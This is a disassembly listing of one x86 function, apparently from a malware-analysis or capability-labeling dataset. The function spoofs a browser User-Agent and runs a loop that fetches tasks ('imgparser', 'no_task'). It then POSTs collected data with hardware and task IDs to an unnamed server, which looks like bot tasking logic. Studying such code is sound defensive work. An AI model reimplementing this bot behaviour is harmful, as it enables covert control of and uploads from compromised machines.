Function at 0x4063a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x32098
call fcn.0040d5d0
mov eax, dword [0x423c40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00405143
test al, al
je 0x40696e
push 0x41b3d8
lea eax, [ebp - 0x1038]
push str.hgfhf445h54h_s
push eax
call fcn.0040d546
lea eax, [ebp - 0x1038]
push eax
call fcn.0040235b
add esp, 0x10
test al, al
jne 0x406961
push str.Global_start
call fcn.00402f1c
pop ecx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0x31ff4]
call fcn.0040617f
push ebx
push ebx
lea eax, [ebp - 0x31ff4]
push eax
push 0x405e18
push ebx
push ebx
mov byte [ebp - 0x31edc], bl
call dword [sym.imp.KERNEL32.DLL_CreateThread]
jmp 0x406439
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp byte [ebp - 0x31edc], bl
je 0x406431
push dword [ebp - 0x31ee4]
lea eax, [ebp - 0x32004]
push dword [ebp - 0x31ee0]
lea ecx, [ebp - 0x31ff5]
push eax
mov dword [ebp - 0x32004], ebx
call fcn.00405de0
lea eax, [ebp - 0xc38]
push str.User_Agent:_Opera_9.80__Windows_NT_5.1__U__en__Presto_2.8.131_Version_11.10
push eax
call fcn.0040d546
pop ecx
pop ecx
lea eax, [ebp - 0xc38]
push ebx
push eax
call fcn.0040c460
pop ecx
push eax
lea eax, [ebp - 0xc38]
push eax
push 0x10000001
call sub.urlmon.dll_UrlMkSetSessionOption
push ecx
mov dword [ebp - 0x3201c], esp
lea eax, [ebp - 0x31ff5]
mov dword [ebp - 0x3201c], esp
push eax
lea ecx, [ebp - 0x32048]
mov dword [ebp - 0x32038], ebx
mov dword [ebp - 0x32034], ebx
mov dword [ebp - 0x32030], ebx
call fcn.0040258e
push 1
lea eax, [ebp - 0x32048]
push eax
lea eax, [ebp - 0x32038]
push eax
lea eax, [ebp - 0x850]
push eax
mov dword [ebp - 0x32014], ebx
call fcn.00404f68
add esp, 0x10
test al, al
je 0x40693e
push str.begin_loop
call fcn.00402f1c
pop ecx
lea ecx, [ebp - 0x31de0]
call fcn.00406276
lea eax, [ebp - 0x32048]
push eax
lea eax, [ebp - 0x32038]
push eax
lea eax, [ebp - 0x850]
push eax
push str.imgparser
push dword [ebp - 0x32014]
lea eax, [ebp - 0x31de0]
push eax
call fcn.00406c1b
add esp, 0x18
test al, al
je 0x406917
mov eax, dword [ebp - 0x31da4]
cmp eax, dword [ebp - 0x31da0]
mov edi, eax
jmp 0x4068f0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x32098]
push eax
call esi
lea eax, [ebp - 0x32078]
push eax
call esi
lea eax, [ebp - 0x32068]
push eax
call esi
lea eax, [ebp - 0x32088]
push eax
call esi
cmp dword [edi + 0x14], 0x10
jb 0x40658a
mov eax, dword [edi]
jmp 0x40658c
mov eax, edi
xor ecx, ecx
mov word [ebp - 0x32058], cx
push eax
lea ecx, [ebp - 0x32058]
call fcn.004025f3
mov eax, dword [ebp - 0x32004]
mov ecx, dword [eax]
lea edx, [ebp - 0x32098]
push edx
lea edx, [ebp - 0x32078]
push edx
lea edx, [ebp - 0x32068]
push edx
lea edx, [ebp - 0x32088]
push edx
lea edx, [ebp - 0x32058]
push edx
push eax
call dword [ecx + 0xd0]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x32058]
push eax
call esi
lea eax, [ebp - 0x32088]
push eax
call esi
lea eax, [ebp - 0x32068]
push eax
call esi
lea eax, [ebp - 0x32078]
push eax
call esi
lea eax, [ebp - 0x32098]
push eax
call esi
or dword [ebp - 0x32008], 0xffffffff
mov dword [ebp - 0x32010], ebx
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x32004]
mov ecx, dword [eax]
lea edx, [ebp - 0x32008]
push edx
push eax
call dword [ecx + 0x7c]
cmp word [ebp - 0x32008], bx
jne 0x406663
mov eax, dword [ebp - 0x32004]
mov ecx, dword [eax]
lea edx, [ebp - 0x32028]
push edx
push eax
call dword [ecx + 0xe0]
cmp dword [ebp - 0x32028], 4
je 0x406663
mov dword [ebp - 0x32008], 1
inc dword [ebp - 0x32010]
cmp dword [ebp - 0x32010], 0x28
jg 0x40667b
cmp word [ebp - 0x32008], bx
jne 0x406613
mov eax, dword [ebp - 0x32004]
lea edx, [ebp - 0x32018]
push edx
mov dword [ebp - 0x3200c], ebx
mov dword [ebp - 0x32018], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x32018]
cmp eax, ebx
je 0x406712
lea edx, [ebp - 0x31ffc]
push edx
push str._D_3
mov dword [ebp - 0x31ffc], ebx
mov ecx, dword [eax]
push eax
call dword [ecx]
mov eax, dword [ebp - 0x31ffc]
cmp eax, ebx
je 0x406712
lea edx, [ebp - 0x32000]
push edx
mov dword [ebp - 0x32000], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x32000]
cmp eax, ebx
je 0x406702
mov ecx, dword [eax]
lea edx, [ebp - 0x3200c]
push edx
push eax
call dword [ecx + 0xe8]
mov eax, dword [ebp - 0x32000]
cmp eax, ebx
je 0x406702
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x31ffc]
cmp eax, ebx
je 0x406712
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [ebp - 0x3200c]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov esi, eax
cmp esi, ebx
jle 0x4068c5
push 3
push dword [ebp - 0x3200c]
lea eax, [ebp - 0x31e7c]
lea ecx, [ebp - 0x31e80]
mov dword [ebp - 0x31e80], eax
call fcn.0040600f
lea edi, [esi + 1]
push edi
mov dword [ebp - 0x32024], ebx
call fcn.0040d635
push edi
push ebx
push eax
mov dword [ebp - 0x31ffc], eax
call fcn.0040cc80
lea eax, [ebp - 0x32024]
push eax
push dword [ebp - 0x31ffc]
push esi
push dword [ebp - 0x31e80]
call fcn.00401de6
push 0x63
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.0040cc80
lea eax, [ebp - 0x68]
push eax
call fcn.00402cff
push 0x30d3f
lea eax, [ebp - 0x31d78]
push ebx
push eax
call fcn.0040cc80
add esp, 0x3c
lea eax, [ebp - 0x850]
push eax
lea ecx, [ebp - 0x31dfc]
mov dword [ebp - 0x3201c], ebx
call fcn.004013e8
cmp dword [ebp - 0x31d80], 0x10
mov eax, dword [ebp - 0x31d94]
jae 0x4067d4
lea eax, [ebp - 0x31d94]
cmp dword [ebp - 0x31dac], 0x10
mov edi, dword [ebp - 0x31dc0]
mov dword [ebp - 0x32000], eax
jae 0x4067ef
lea edi, [ebp - 0x31dc0]
cmp dword [ebp - 0x31dc8], 0x10
mov esi, dword [ebp - 0x31ddc]
jae 0x406804
lea esi, [ebp - 0x31ddc]
lea eax, [ebp - 0x31dfc]
push eax
lea ecx, [ebp - 0x32048]
call fcn.00401af1
cmp dword [eax + 0x14], 0x10
jb 0x40681e
mov eax, dword [eax]
push dword [ebp - 0x32000]
lea ecx, [ebp - 0x68]
push edi
push esi
push ecx
push dword [ebp - 0x32010]
push 0x41b3d8
push eax
lea eax, [ebp - 0x450]
push str._s_moderesposttruepathimgparserv_scnt_dhardid_staskid_spage_scategory_s
push eax
call fcn.0040d546
add esp, 0x24
push ebx
push 1
lea ecx, [ebp - 0x31dfc]
call fcn.00401145
lea eax, [ebp - 0x450]
push eax
call fcn.00402f1c
push ebx
push ebx
push str.Content_Type:_binary_octet_stream_r_n
push str.POST
lea eax, [ebp - 0x3201c]
push eax
lea eax, [ebp - 0x31d78]
push eax
lea eax, [ebp - 0x450]
push eax
push dword [ebp - 0x32024]
lea eax, [ebp - 0x850]
push dword [ebp - 0x31ffc]
push eax
call fcn.00405d82
push dword [ebp - 0x31ffc]
call fcn.0040d5fb
lea eax, [ebp - 0x31e7c]
add esp, 0x30
cmp dword [ebp - 0x31e80], eax
je 0x4068c5
push dword [ebp - 0x31e80]
call fcn.0040d5fb
pop ecx
mov eax, dword [ebp - 0x32018]
cmp eax, ebx
je 0x4068d5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [ebp - 0x3200c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov edi, dword [ebp - 0x32020]
add edi, 0x1c
cmp edi, dword [ebp - 0x31da0]
mov dword [ebp - 0x32020], edi
jne 0x406556
mov eax, dword [ebp - 0x31de0]
imul eax, eax, 0xea60
push eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc dword [ebp - 0x32014]
jmp 0x40692e
push str.no_task
call fcn.00402f1c
mov dword [esp], 0x493e0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x31de0]
call fcn.0040636f
jmp 0x4064f6
lea ecx, [ebp - 0x32048]
call fcn.00402b54
lea ecx, [ebp - 0x32038]
call fcn.004029f9
lea ecx, [ebp - 0x31ff4]
call fcn.004062d7
jmp 0x4069aa
push str.ERROR:_exists
call fcn.00402f1c
pop ecx
jmp 0x4069aa
push 0x3ff
xor ebx, ebx
lea eax, [ebp - 0x468]
push ebx
push eax
call fcn.0040cc80
lea eax, [ebp - 0x468]
push eax
call fcn.00405092
call fcn.004051b2
push 1
lea eax, [ebp - 0x468]
push ebx
push eax
call fcn.004069bd
add esp, 0x1c
call fcn.00406bc1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040d1aa
leave
ret 0x10